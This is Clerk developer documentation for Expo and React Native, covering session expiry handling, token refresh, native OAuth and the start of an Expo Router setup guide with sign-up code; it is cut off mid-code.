Clerk's `ClerkProvider` accepts a `taskUrls` prop that maps session tasks to route paths. Combined with `session.currentTask` (an object with a `key` property identifying the task), you can route pending users to the correct screen:

```tsx
// In your root layout
;<ClerkProvider
  publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
  tokenCache={tokenCache}
  taskUrls={{
    'choose-organization': '/onboarding/choose-org',
    'reset-password': '/auth/reset-password',
    'setup-mfa': '/auth/setup-mfa',
  }}
>
  <Slot />
</ClerkProvider>
```

In your protected layout, check for pending tasks:

```tsx
import { useAuth, useSession } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'
import { ActivityIndicator, View } from 'react-native'

export default function ProtectedLayout() {
  const { isLoaded, isSignedIn } = useAuth()
  const { session } = useSession()

  if (!isLoaded) {
    return (
      <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
        <ActivityIndicator size="large" />
      </View>
    )
  }

  if (!isSignedIn) return <Redirect href="/sign-in" />

  if (session?.currentTask) {
    const taskRoutes: Record<string, string> = {
      'choose-organization': '/onboarding/choose-org',
      'reset-password': '/auth/reset-password',
      'setup-mfa': '/auth/setup-mfa',
    }
    const route = taskRoutes[session.currentTask.key]
    if (route) return <Redirect href={route} />
  }

  return <Stack />
}
```

> \[!NOTE]
> Clerk exports `<RedirectToTasks />` from @clerk/expo, but the individual Task components (`<TaskChooseOrganization />`, `<TaskResetPassword />`, `<TaskSetupMFA />`) are only exported from @clerk/react — not re-exported by @clerk/expo. The session.currentTask.key approach above is the most portable for Expo Router layouts.

### Preserving user context with redirect URLs

When a session expires mid-use, redirect the user back to where they were after re-authentication. Configure a URL scheme in your `app.json`:

```json
{
  "expo": {
    "scheme": "myapp"
  }
}
```

Then pass the current route when redirecting to sign-in:

```tsx
import { useAuth } from '@clerk/expo'
import { usePathname, router } from 'expo-router'
import { useEffect, useRef } from 'react'

export function SessionExpiryRedirect() {
  const { isLoaded, isSignedIn } = useAuth()
  const pathname = usePathname()
  const wasSignedIn = useRef(isSignedIn)

  useEffect(() => {
    if (!isLoaded) return

    if (wasSignedIn.current && !isSignedIn) {
      router.replace({
        pathname: '/sign-in',
        params: { returnTo: pathname },
      })
    }

    wasSignedIn.current = isSignedIn
  }, [isLoaded, isSignedIn, pathname])

  return null
}
```

After re-authentication, navigate back:

```tsx
import { useLocalSearchParams, router } from 'expo-router'
import { useEffect } from 'react'
import { useAuth } from '@clerk/expo'

export function PostSignInRedirect() {
  const { returnTo } = useLocalSearchParams<{ returnTo?: string }>()
  const { isSignedIn } = useAuth()

  useEffect(() => {
    if (!isSignedIn) return

    if (returnTo) {
      router.replace(returnTo)
    } else {
      router.replace('/(home)')
    }
  }, [isSignedIn, returnTo])

  return null
}
```

### Silent re-authentication vs. explicit sign-in

Clerk handles two scenarios differently:

- **Silent refresh**: The session token expired (60 seconds) but the client token is still valid. Clerk automatically refreshes the session token in the background. The stale-while-revalidate pattern in Core 3 means your app never blocks on this refresh. No user action is needed.
- **Explicit sign-in**: The session itself expired (maximum lifetime exceeded) or was abandoned (inactivity timeout). The client token is no longer valid. The user must sign in again.

The distinction is automatic. If `getToken()` returns a valid token, the refresh was silent. If `isSignedIn` becomes `false`, the session is truly over.

### Handling mid-transaction expiry

Protect in-progress API calls from session expiry by wrapping them with token validation and retry logic:

```tsx
import { useAuth, isClerkRuntimeError } from '@clerk/expo'
import { useCallback, useRef } from 'react'

export function useProtectedApi() {
  const { getToken, isSignedIn } = useAuth()
  const isRefreshing = useRef(false)

  const callApi = useCallback(
    async (url: string, options?: RequestInit) => {
      const token = await getToken()

      if (!token) {
        throw new Error('Session expired. Please sign in again.')
      }

      const response = await fetch(url, {
        ...options,
        headers: {
          ...options?.headers,
          Authorization: `Bearer ${token}`,
        },
      })

      if (response.status === 401 && !isRefreshing.current) {
        isRefreshing.current = true
        try {
          const freshToken = await getToken({ skipCache: true })
          if (!freshToken) {
            throw new Error('Session expired. Please sign in again.')
          }

          // Retry with fresh token
          return fetch(url, {
            ...options,
            headers: {
              ...options?.headers,
              Authorization: `Bearer ${freshToken}`,
            },
          })
        } finally {
          isRefreshing.current = false
        }
      }

      return response
    },
    [getToken],
  )

  return { callApi }
}
```

---

## Error handling and network resilience

Handling failures during token refresh and authentication requires distinguishing between different error types and applying the right recovery strategy.

### Catching offline errors in Core 3

When the network is unavailable, Clerk throws a `network_error` after internal retries. Use the `isClerkRuntimeError` function to detect network errors:

```tsx
import { isClerkRuntimeError } from '@clerk/expo'
import { Alert } from 'react-native'

async function handleOfflineError(error: unknown) {
  if (isClerkRuntimeError(error) && error.code === 'network_error') {
    Alert.alert(
      'No connection',
      'You are offline. Some features may be unavailable until your connection is restored.',
      [{ text: 'OK' }],
    )
    return true
  }
  return false
}
```

### Retry strategies for token refresh

For network-related failures, use exponential backoff with a network state listener. Install `@react-native-community/netinfo` first:

```bash
npx expo install @react-native-community/netinfo
```

```tsx
import NetInfo from '@react-native-community/netinfo'

async function retryWithBackoff<T>(fn: () => Promise<T>, maxRetries: number = 3): Promise<T> {
  let lastError: unknown

  for (let attempt = 0; attempt < maxRetries; attempt++) {
    try {
      return await fn()
    } catch (error) {
      lastError = error

      // Do not retry client errors (except 429)
      if (
        error instanceof Response &&
        error.status >= 400 &&
        error.status < 500 &&
        error.status !== 429
      ) {
        throw error
      }

      const delay = Math.min(1000 * Math.pow(2, attempt) + Math.random() * 1000, 10000)
      await new Promise((resolve) => setTimeout(resolve, delay))
    }
  }

  throw lastError
}

function onNetworkRestore(callback: () => void) {
  const unsubscribe = NetInfo.addEventListener((state) => {
    if (state.isConnected) {
      callback()
      unsubscribe()
    }
  })

  return unsubscribe
}
```

### Handling API request failures from expired tokens

For apps using Axios, set up a response interceptor to handle 401 errors with automatic token refresh. The `getClerkInstance()` function provides access to the Clerk object [outside React components](/docs/guides/development/access-clerk-outside-components), which is necessary for interceptors that run outside the component tree:

```tsx
import axios from 'axios'
import { getClerkInstance } from '@clerk/expo'

// Replace with your API's base URL
const api = axios.create({ baseURL: 'https://api.yourapp.com' })

let isRefreshing = false
let failedQueue: Array<{
  resolve: (token: string) => void
  reject: (error: unknown) => void
}> = []

function processQueue(error: unknown, token: string | null) {
  failedQueue.forEach(({ resolve, reject }) => {
    if (error) {
      reject(error)
    } else if (token) {
      resolve(token)
    }
  })
  failedQueue = []
}

api.interceptors.request.use(async (config) => {
  const clerk = getClerkInstance()
  const token = await clerk.session?.getToken()
  if (token) {
    config.headers.Authorization = `Bearer ${token}`
  }
  return config
})

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config

    if (error.response?.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        return new Promise((resolve, reject) => {
          failedQueue.push({
            resolve: (token) => {
              originalRequest.headers.Authorization = `Bearer ${token}`
              resolve(api(originalRequest))
            },
            reject,
          })
        })
      }

      originalRequest._retry = true
      isRefreshing = true

      try {
        const clerk = getClerkInstance()
        const token = await clerk.session?.getToken({ skipCache: true })

        if (!token) {
          processQueue(new Error('Session expired'), null)
          return Promise.reject(error)
        }

        processQueue(null, token)
        originalRequest.headers.Authorization = `Bearer ${token}`
        return api(originalRequest)
      } catch (refreshError) {
        processQueue(refreshError, null)
        return Promise.reject(refreshError)
      } finally {
        isRefreshing = false
      }
    }

    return Promise.reject(error)
  },
)

export { api }
```

### Distinguishing between error types

Different errors require different responses. Use this reference to determine the correct action:

| Error type            | Detection                                                   | Retryable          | Action                            |
| --------------------- | ----------------------------------------------------------- | ------------------ | --------------------------------- |
| Network offline       | `isClerkRuntimeError(err) && err.code === 'network_error'`  | Yes (on reconnect) | Show offline UI, queue requests   |
| Session expired       | `session.status === 'expired'`, `getToken()` returns `null` | No                 | Redirect to sign-in               |
| Session abandoned     | `session.status === 'abandoned'`                            | No                 | Redirect to sign-in               |
| Token refresh failure | Refresh endpoint error                                      | Depends            | Retry with backoff, then sign out |
| Server error (5xx)    | HTTP 500-599                                                | Yes                | Exponential backoff               |
| Rate limited (429)    | HTTP 429                                                    | Yes                | Respect `Retry-After` header      |

---

## Using native OAuth to reduce session friction

Native OAuth in Core 3 eliminates common session-related pain points by using platform APIs instead of browser redirects. This section is optional — native OAuth improves session establishment reliability but does not change how session expiry works once a session exists.

> \[!NOTE]
> All native OAuth examples require a **development build**. They will not work in Expo Go.

### Browser OAuth vs. native OAuth

Browser-based OAuth (via `useSSO()`) opens a web browser for authentication. On Android, this approach has a documented reliability problem: one team reported that approximately 30% of their Android sign-in attempts returned a `DISMISS` result due to an `expo-auth-session` race condition ([Expo issue #23781](https://github.com/expo/expo/issues/23781)). The issue affects various phone models and Android OS versions.

Native OAuth uses platform APIs instead of browser redirects:

- **Android**: Credential Manager API — fully native with no additional configuration
- **iOS**: Defaults to a system browser sheet (`ASWebAuthenticationSession`). To enable the fully native ASAuthorization credential picker, set `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` and enable the `@clerk/expo` config plugin. See the [Google sign-in guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-google) for full iOS setup.

> \[!NOTE]
> `useOAuth()` is deprecated in Core 3. Use `useSSO()` for browser-based OAuth flows.

### Setting up native Google sign-in

```tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { useRouter } from 'expo-router'
import { Pressable, Text, Alert } from 'react-native'

export function GoogleSignIn() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()
  const router = useRouter()

  const handleGoogleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (error: any) {
      if (error.code === 'SIGN_IN_CANCELLED' || error.message?.includes('-5')) {
        // User cancelled — no action needed
        return
      }
      Alert.alert('Error', 'Google sign-in failed. Please try again.')
    }
  }

  return (
    <Pressable onPress={handleGoogleSignIn}>
      <Text>Sign in with Google</Text>
    </Pressable>
  )
}
```

> \[!IMPORTANT]
> Native Google sign-in requires: expo-crypto, development build, Google Cloud OAuth client IDs configured in Clerk Dashboard and app.json. See /docs/expo/guides/configure/auth-strategies/sign-in-with-google for full setup.

### Setting up native Apple sign-in

```tsx
import { useSignInWithApple } from '@clerk/expo/apple'
import { useRouter } from 'expo-router'
import { Platform, Pressable, Text, Alert } from 'react-native'

export function AppleSignIn() {
  const { startAppleAuthenticationFlow } = useSignInWithApple()
  const router = useRouter()

  if (Platform.OS !== 'ios') return null

  const handleAppleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startAppleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
        router.replace('/')
      }
    } catch (error: any) {
      if (error.code === 'ERR_REQUEST_CANCELED') {
        // User cancelled — no action needed
        return
      }
      Alert.alert('Error', 'Apple sign-in failed. Please try again.')
    }
  }

  return (
    <Pressable onPress={handleAppleSignIn}>
      <Text>Sign in with Apple</Text>
    </Pressable>
  )
}
```

> \[!IMPORTANT]
> Native Apple sign-in requires: expo-apple-authentication, expo-crypto, development build. iOS only. See /docs/expo/guides/configure/auth-strategies/sign-in-with-apple for full setup.

### How native auth improves session reliability

Native authentication creates sessions without redirect chains, removing the primary failure point in mobile OAuth. Once a session is established through native auth, it behaves identically to browser-established sessions for refresh and expiry purposes. The same token refresh, `getToken()`, and session monitoring patterns apply regardless of how the session was created.

---

## Testing session expiry scenarios

Testing session management requires simulating conditions that are difficult to reproduce naturally.

### Simulating session expiry in development

The Clerk Dashboard allows you to set short session lifetimes for development instances at no cost:

1. Set **Maximum session lifetime** to 5 minutes
2. Enable **Inactivity timeout** and set it to 2 minutes
3. Test your expiry flows quickly without waiting for the 7-day default

You can also programmatically end a session to test the expiry flow immediately:

```tsx
import { useSession } from '@clerk/expo'
import { Pressable, Text } from 'react-native'

export function ForceExpireButton() {
  const { session } = useSession()

  const handleForceExpire = async () => {
    if (session) {
      await session.end()
      // Session is now ended — your auth state listener should redirect
    }
  }

  return (
    <Pressable onPress={handleForceExpire}>
      <Text>Force session end (dev only)</Text>
    </Pressable>
  )
}
```

### Testing background/foreground transitions

Simulate app state changes on each platform:

- **iOS Simulator**: Press `Cmd + Shift + H` to background the app
- **Android Emulator**: Press the Home button, or use `adb shell am set-inactive <package-name> true`
- **Test scenarios**: Background for 1 minute (token expires), 5+ minutes (session may expire if configured), several hours (session definitely expires with short lifetime)

### Testing offline scenarios

Simulate network failures to verify your offline error handling:

- **iOS**: Use the Network Link Conditioner (download "Additional Tools for Xcode"). Presets include "100% Loss" and "Edge"
- **Android Emulator**: Enable airplane mode, or use `adb shell svc wifi disable && adb shell svc data disable`
- **Verify**: `isClerkRuntimeError` catches network errors, cached tokens are returned when `resourceCache` is enabled

### Debugging session issues

Use the session object to inspect session health during development:

```tsx
import { useAuth, useSession } from '@clerk/expo'
import { Text, View, ScrollView } from 'react-native'

export function SessionDebugPanel() {
  const { isLoaded, isSignedIn, sessionId } = useAuth()
  const { session } = useSession()

  if (!isLoaded) return <Text>Loading...</Text>

  return (
    <ScrollView style={{ padding: 16 }}>
      <Text style={{ fontWeight: 'bold' }}>Auth State</Text>
      <Text>isLoaded: {String(isLoaded)}</Text>
      <Text>isSignedIn: {String(isSignedIn)}</Text>
      <Text>sessionId: {sessionId ?? 'none'}</Text>

      {session && (
        <>
          <Text style={{ fontWeight: 'bold', marginTop: 16 }}>Session Details</Text>
          <Text>Status: {session.status}</Text>
          <Text>Expires: {session.expireAt?.toISOString()}</Text>
          <Text>Abandon at: {session.abandonAt?.toISOString() ?? 'No timeout'}</Text>
          <Text>Last active: {session.lastActiveAt?.toISOString()}</Text>
        </>
      )}
    </ScrollView>
  )
}
```

---

## Comparison: Session management approaches in React Native

The search intent for this article is implementation-focused, so this section is kept brief. The value of this article is in its Clerk-specific operational depth, not vendor comparison.

### Manual vs. managed session handling

**Manual JWT management** gives you full control over token refresh, storage, rotation, and race condition handling. It also requires significant implementation effort. Mobile-specific concerns — backgrounding, offline scenarios, SecureStore size limits, platform differences between iOS Keychain and Android Keystore — make manual implementation particularly error-prone. Common pitfalls include storing tokens in AsyncStorage (unencrypted), failing to rotate refresh tokens, and creating race conditions during concurrent refresh attempts.

**Managed auth services** like Firebase Auth, Auth0, and AWS Amplify/Cognito each provide automatic token refresh and some level of persistence. They differ in session granularity, inactivity controls, and native OAuth support. Consult each provider's current documentation for implementation details — competitive feature sets change frequently.

**Clerk's approach** combines automatic token refresh with stale-while-revalidate, eight granular session statuses, configurable inactivity timeout, built-in `expo-secure-store` integration via `tokenCache`, native OAuth hooks for Google and Apple, and experimental offline caching. The patterns demonstrated throughout this article require minimal custom code because Clerk handles most session lifecycle management internally.

---

## Best practices for session management in Expo apps

1. **Always enable token caching** — Never rely on in-memory-only token storage in production. Use `tokenCache` from `@clerk/expo/token-cache` so sessions survive app restarts.

2. **Handle offline states explicitly** — Wrap `getToken()` calls in try/catch and use `isClerkRuntimeError` from `@clerk/expo` to detect network errors. Consider enabling experimental `resourceCache` for enhanced offline support.

3. **Use native OAuth in production** — Prefer `useSignInWithGoogle` and `useSignInWithApple` over browser-based `useSSO()` for reliability. On Android, `useSignInWithGoogle` uses Credential Manager natively. On iOS, additional configuration is required for a fully native Google experience (see the [Google sign-in guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-google)). Requires a development build.

4. **Configure appropriate session lifetimes** — Match session lifetime and inactivity timeout to your app's security requirements and compliance standards. Test with shorter values in development instances.

5. **Monitor app state transitions** — Listen for `AppState` changes and proactively check session health when the app returns to the foreground. Do not rely on `touchSession` for mobile keep-alive.

---

## FAQ

---

---

# How to Set Up Clerk Authentication with Expo Router
URL: https://clerk.com/articles/how-to-set-up-clerk-authentication-with-expo-router.md
Date: 2026-04-16
Description: Build secure React Native apps with Clerk and Expo Router — covering protected routes, MFA, Google and Apple sign-in, and production-ready auth patterns with full code samples.

Setting up [authentication](/glossary#authentication) in a React Native app with Expo Router requires installing `@clerk/expo` and `expo-secure-store`, wrapping your app in `ClerkProvider` in the root layout, and using `useAuth()` with `<Redirect>` in route group layouts to guard authenticated screens. Clerk's Core 3 [SDK](/glossary#software-development-kit-sdk) provides hooks (`useSignIn`, `useSignUp`, `useAuth`) for building custom auth flows, along with native components (`AuthView`, `UserButton`) for minimal-code integration.

[Multi-factor authentication](/glossary#multi-factor-authentication-mfa) is handled through the `signIn.mfa.*` methods after detecting the `needs_second_factor` status during sign-in. [Social login](/glossary#social-login) uses `useSignInWithGoogle` and `useSignInWithApple` for native platform flows, and `useSSO` for browser-based providers like GitHub. This guide walks through every step, from project scaffolding to production best practices, with complete code samples for each feature.

For quick setup, see the [Clerk Expo quickstart](/docs/expo/getting-started/quickstart) and the [Expo Router authentication docs](https://docs.expo.dev/router/advanced/authentication/).

## Prerequisites

Before starting, confirm you have the following:

- **Node.js 20.9.0+** (LTS)
- **A [Clerk account](https://dashboard.clerk.com/sign-up)** and a [publishable key](/glossary#publishable-key) from the Clerk Dashboard
- **Basic familiarity** with React and React Native
- **Expo CLI** (use `npx expo` commands directly, no global install required)
- **A physical device or emulator** (native Google/Apple sign-in and native components require a development build; basic email/password works in Expo Go)
- **Expo SDK 53 or later** ([`@clerk/expo`](https://github.com/clerk/javascript/tree/main/packages/expo) v3 requires SDK 53+)

## What you will build

This tutorial produces a React Native app with Expo Router that includes:

- A public homepage (always accessible)
- Sign-in and sign-up screens with email/password
- A protected user profile page
- A protected settings page (demonstrating multiple protected routes)
- A `UserButton` component
- MFA verification during sign-in (TOTP and SMS)
- Native Google sign-in (iOS + Android)
- Native Apple sign-in (iOS only)
- Browser-based GitHub sign-in via [SSO](/glossary/single-sign-on-sso)

The final file structure looks like this:

```text
app/
  _layout.tsx          (root layout with ClerkProvider + Slot)
  index.tsx            (public homepage)
  (auth)/
    _layout.tsx        (auth group layout with useAuth redirect)
    sign-in.tsx
    sign-up.tsx
  (home)/
    _layout.tsx        (protected group layout with useAuth redirect)
    profile.tsx
    settings.tsx
```

## Understanding authentication in React Native with Expo Router

### The challenge of mobile authentication

Authentication in React Native is more complex than web authentication for several reasons. Mobile apps cannot rely on HTTP-only cookies for [session](/glossary#session) storage. Instead, tokens must be stored in platform-specific secure storage: iOS Keychain Services or Android Keystore-encrypted SharedPreferences. Sessions must persist across app restarts and crashes, which requires careful token lifecycle management.

Native [OAuth](/glossary#oauth) flows add another layer of complexity. Developers must choose between system browser redirects, in-app webviews, and native SDK integrations. Each approach has different security characteristics and platform requirements. URL schemes, deep linking, App Links (Android), and Universal Links (iOS) all behave differently, and misconfiguration leads to silent failures or security vulnerabilities.

The deprecated `auth.expo.io` proxy ([CVE-2023-28131](https://www.cve.org/CVERecord?id=CVE-2023-28131)) illustrates the risks of taking shortcuts with mobile auth. That proxy was widely used for OAuth in Expo apps, but a vulnerability allowed attackers to steal access tokens. Modern implementations must avoid this proxy entirely.

### How Expo Router's file-based routing works with authentication

Expo Router uses a file-based routing system where files in the `app/` directory become routes automatically. This model maps cleanly to authentication patterns through two key features: route groups and layout routes.

**Route groups** are directories wrapped in parentheses, like `(auth)` and `(home)`. They organize routes without affecting URL paths. A file at `app/(auth)/sign-in.tsx` renders at the `/sign-in` path, not `/(auth)/sign-in`. This makes them ideal for separating authenticated and unauthenticated areas of the app.

**Layout routes** (`_layout.tsx`) wrap child routes and define navigators (Stack, Tabs, Slot). When a layout file uses `useAuth()` to check authentication state and renders a `<Redirect>` component conditionally, it creates a declarative auth guard. All routes within that group inherit the protection logic.

The combination of route groups and layout redirects replaces the need for manual navigation stack manipulation. Every route is also automatically deep-linkable, which means auth guards evaluate on deep link attempts as well.

### How Clerk handles authentication in Expo

The [`@clerk/expo`](/docs/reference/expo/overview) SDK (Core 3) uses a hybrid authentication model. A Client Token (long-lived, stored on the FAPI domain) establishes the device's identity with Clerk. A Session Token (60-second lifetime) authorizes requests to your application's backend. The SDK refreshes the session token every 50 seconds, proactively, before the 60-second expiry. See [How Clerk Works](/docs/guides/how-clerk-works/overview) for a detailed overview of this architecture.

Token caching uses `expo-secure-store` through the `@clerk/expo/token-cache` module. On iOS, tokens are stored in Keychain Services, which persists data across app reinstalls (as long as the bundle ID stays the same). On Android, tokens are stored in SharedPreferences encrypted with Keystore, and this data is deleted on app uninstall.

Clerk offers three integration tiers for Expo:

1. **JS-only custom UI**: Build forms with `useSignIn`, `useSignUp`, and other hooks. Works in Expo Go. Maximum flexibility.
2. **JS + native sign-in**: Custom forms combined with native [OAuth](/glossary#oauth) buttons (`useSignInWithGoogle`, `useSignInWithApple`). Requires a development build.
3. **Native components**: Prebuilt `AuthView`, `UserButton`, and `UserProfileView` components that render using SwiftUI (iOS) and Jetpack Compose (Android). Requires a development build. Currently in Beta.

The [ClerkProvider](/glossary#clerkprovider) component wraps the application and manages the session lifecycle, token refresh, and authentication state for all child components.

## Setting up the project

### Scaffolding a new Expo application

Create a new Expo project with TypeScript:

```bash
npx create-expo-app@latest clerk-expo-tutorial
```

This generates an SDK 54 project by default. The tutorial works with SDK 53 or later.

Navigate into the project directory:

```bash
cd clerk-expo-tutorial
```

### Installing Clerk and dependencies

Install the core packages required for Clerk authentication:

```bash
npx expo install @clerk/expo expo-secure-store
```

For the full feature set (native OAuth, social login, development builds), install these additional packages:

```bash
npx expo install expo-crypto expo-apple-authentication expo-auth-session expo-web-browser expo-dev-client
```

Here is what each package provides:

- `@clerk/expo`: Clerk's SDK for React Native with Expo, including hooks, components, and [session management](/glossary#session-management)
- `expo-secure-store`: Encrypted key-value storage using iOS Keychain and Android Keystore
- `expo-crypto`: Cryptographic operations required by native Google and Apple sign-in
- `expo-apple-authentication`: Native Apple Sign in with Apple API bindings (iOS only)
- `expo-auth-session`: Browser-based OAuth 2.0 flow management for providers like GitHub
- `expo-web-browser`: Opens system browser for authentication (Chrome Custom Tabs on Android, SFSafariViewController on iOS)
- `expo-dev-client`: Enables development builds with custom native modules

### Configuring environment variables

Create a `.env` file in the project root with your Clerk [publishable key](/glossary#publishable-key) and (optionally) Google OAuth credentials:

```env
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your-key-here

# Google OAuth (required for native Google sign-in)
EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID=your-web-client-id
EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID=your-ios-client-id
EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME=com.googleusercontent.apps.your-ios-client-id
EXPO_PUBLIC_CLERK_GOOGLE_ANDROID_CLIENT_ID=your-android-client-id
```

Keys prefixed with `pk_test_` are for development instances and enable testing mode. Keys prefixed with `pk_live_` are for production instances. Use test keys during development and switch to live keys for production deployments. Add `.env` to your `.gitignore` file to prevent committing secrets.

### Configuring app.json plugins

Add the required Expo plugins to your `app.json`:

```json
{
  "expo": {
    "plugins": [
      "expo-secure-store",
      [
        "@clerk/expo",
        {
          "appleSignIn": true
        }
      ],
      "expo-apple-authentication"
    ]
  }
}
```

The `@clerk/expo` plugin configures native modules for Clerk. Setting `appleSignIn: true` adds the Sign in with Apple entitlement to your iOS build. The `expo-apple-authentication` plugin registers the native Apple Authentication module.

### Expo Go vs. development builds

Expo Go is a prebuilt client app for rapid development, but it cannot load custom native modules. A [development build](https://docs.expo.dev/develop/development-builds/introduction/) is a debug build of your app that includes all custom native code.

| Feature                        | Expo Go |          Development Build          |
| ------------------------------ | :-----: | :---------------------------------: |
| Email/password                 |         |                                     |
| Browser-based OAuth            |         |                                     |
| Native Google sign-in          |         |                                     |
| Native Apple sign-in           |         |                                     |
| Native components (AuthView)   |         |                                     |
| Biometric login                |         |                                     |
| [Passkeys](/glossary#passkeys) |         | iOS 16+, Android 9+ physical device |

For production-quality apps, use development builds. Create one with:

```bash
npx expo run:ios --device
```

Or use EAS Build for cloud-based builds:

```bash
eas build --profile development --platform ios
```

## Configuring ClerkProvider

### Adding ClerkProvider to the root layout

The root layout (`app/_layout.tsx`) wraps the entire application in `ClerkProvider`. This component must be the outermost wrapper, and it must render `<Slot />` as its child to allow Expo Router to render the matched route.

> \[!WARNING]
> The root layout component must NOT call `useAuth()` or any other Clerk hook directly. Hooks must be called from components nested *inside* the provider tree. All `useAuth()` calls belong in child route-group layouts (e.g., `app/(auth)/_layout.tsx`, `app/(home)/_layout.tsx`), which are rendered inside the provider via `<Slot />`.

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

if (!publishableKey) {
  throw new Error('EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY is not set.')
}

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Slot />
    </ClerkProvider>
  )
}
```

The `publishableKey` prop must be passed explicitly. [Environment variables](/glossary#environment-variables) accessed through `process.env` are inlined at build time by Metro, so this works in both development and production React Native builds.

### Understanding token caching with expo-secure-store

The `tokenCache` import from `@clerk/expo/token-cache` wraps `expo-secure-store` automatically. No custom token cache implementation is needed.

On **iOS**, tokens are stored in Keychain Services. Keychain data persists across app reinstalls as long as the bundle ID remains the same. This means users can delete and reinstall the app without losing their session.

On **Android**, tokens are stored in SharedPreferences encrypted with Android Keystore. This data is deleted when the app is uninstalled because the encryption keys are bound to the app's installation. After reinstall, a new session is required.

The `expo-secure-store` config plugin automatically configures Android Auto Backup exclusion rules (via `configureAndroidBackup`, which defaults to `true`). This prevents restored SecureStore data from becoming unreadable after reinstall, since the encryption keys are deleted from Android Keystore on uninstall. If your app uses custom backup rules, set `configureAndroidBackup: false` in the `expo-secure-store` plugin config and manually add `<exclude domain="sharedpref" path="SecureStore"/>` to your backup rules XML.

### Handling loading states with ClerkLoaded and ClerkLoading

Clerk needs to initialize before authentication state is available. Use `ClerkLoaded` and `ClerkLoading` to control rendering during this period:

```tsx
import { ClerkProvider, ClerkLoaded, ClerkLoading } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'
import { ActivityIndicator, View } from 'react-native'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <ClerkLoading>
        <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
          <ActivityIndicator size="large" />
        </View>
      </ClerkLoading>
      <ClerkLoaded>
        <Slot />
      </ClerkLoaded>
    </ClerkProvider>
  )
}
```

`ClerkLoaded` renders its children only when Clerk's status is `'ready'` or `'degraded'`. `ClerkLoading` renders its children while Clerk is still initializing. Use these strategically around Clerk-dependent components rather than wrapping the entire app.

## Building the authentication screens

### Project structure for authentication routes

The recommended file structure separates public, auth, and protected routes:

```text
app/
  _layout.tsx          (root layout: ClerkProvider + Slot)
  index.tsx            (public homepage, always accessible)
  (auth)/
    _layout.tsx        (redirects signed-in users away)
    sign-in.tsx
    sign-up.tsx
  (home)/
    _layout.tsx        (redirects unauthenticated users to sign-in)
    profile.tsx
    settings.tsx
```

The `(auth)` route group contains sign-in and sign-up screens. Its layout checks if the user is already signed in and redirects them to the home area. The `(home)` route group contains protected screens. Its layout checks if the user is signed in and redirects unauthenticated users to sign-in. Route group names in parentheses do not appear in URL paths.

### Creating the sign-up screen

The sign-up screen uses `useSignUp()` from `@clerk/expo` with the Core 3 API. The flow has two phases: collecting credentials, then verifying the email address.

```tsx
import { useSignUp } from '@clerk/expo'
import { Link, useRouter } from 'expo-router'
import type { Href } from 'expo-router'
import { useState } from 'react'
import { Text, TextInput, TouchableOpacity, View } from 'react-native'

export default function SignUpScreen() {
  const { signUp, errors, fetchStatus } = useSignUp()
  const router = useRouter()

  const [emailAddress, setEmailAddress] = useState('')
  const [password, setPassword] = useState('')
  const [code, setCode] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)

  const onSignUp = async () => {
    const { error } = await signUp.password({ emailAddress, password })

    if (!error) {
      await signUp.verifications.sendEmailCode()
      setPendingVerification(true)
    }
  }

  const onVerify = async () => {
    await signUp.verifications.verifyEmailCode({ code })

    if (signUp.status === 'complete') {
      await signUp.finalize()
    }
  }

  if (pendingVerification) {
    return (
      <View style={{ flex: 1, padding: 24, justifyContent: 'center' }}>
        <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 16 }}>
          Verify your email
        </Text>
        <TextInput
          value={code}
          onChangeText={setCode}
          placeholder="Enter verification code"
          keyboardType="number-pad"
          style={{
            borderWidth: 1,
            borderColor: '#ccc',
            borderRadius: 8,
            padding: 12,
            marginBottom: 16,
          }}
        />
        {errors?.fields?.code && (
          <Text style={{ color: 'red', marginBottom: 8 }}>{errors.fields.code[0]?.message}</Text>
        )}
        <TouchableOpacity
          onPress={onVerify}
          disabled={fetchStatus === 'fetching'}
          style={{
            backgroundColor: '#6C47FF',
            padding: 14,
            borderRadius: 8,
            alignItems: 'center',
          }}
        >
          <Text style={{ color: 'white', fontWeight: '600' }}>Verify</Text>
        </TouchableOpacity>
      </View>
    )
  }

  return (
    <View style={{ flex: 1, padding: 24, justifyContent: 'center' }}>
      <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 16 }}>Create an account</Text>
      <TextInput
        value={emailAddress}
        onChangeText={setEmailAddress}
        placeholder="Email"
        autoCapitalize="none"
        keyboardType="email-address"
        style={{
          borderWidth: 1,
          borderColor: '#ccc',
          borderRadius: 8,
          padding: 12,
          marginBottom: 12,
        }}
      />
      <TextInput
        value={password}
        onChangeText={setPassword}
        placeholder="Password"
        secureTextEntry
        style={{
          borderWidth: 1,
          borderColor: '#ccc',
          borderRadius: 8,
          padding: 12,
          marginBottom: 12,
        }}
      />
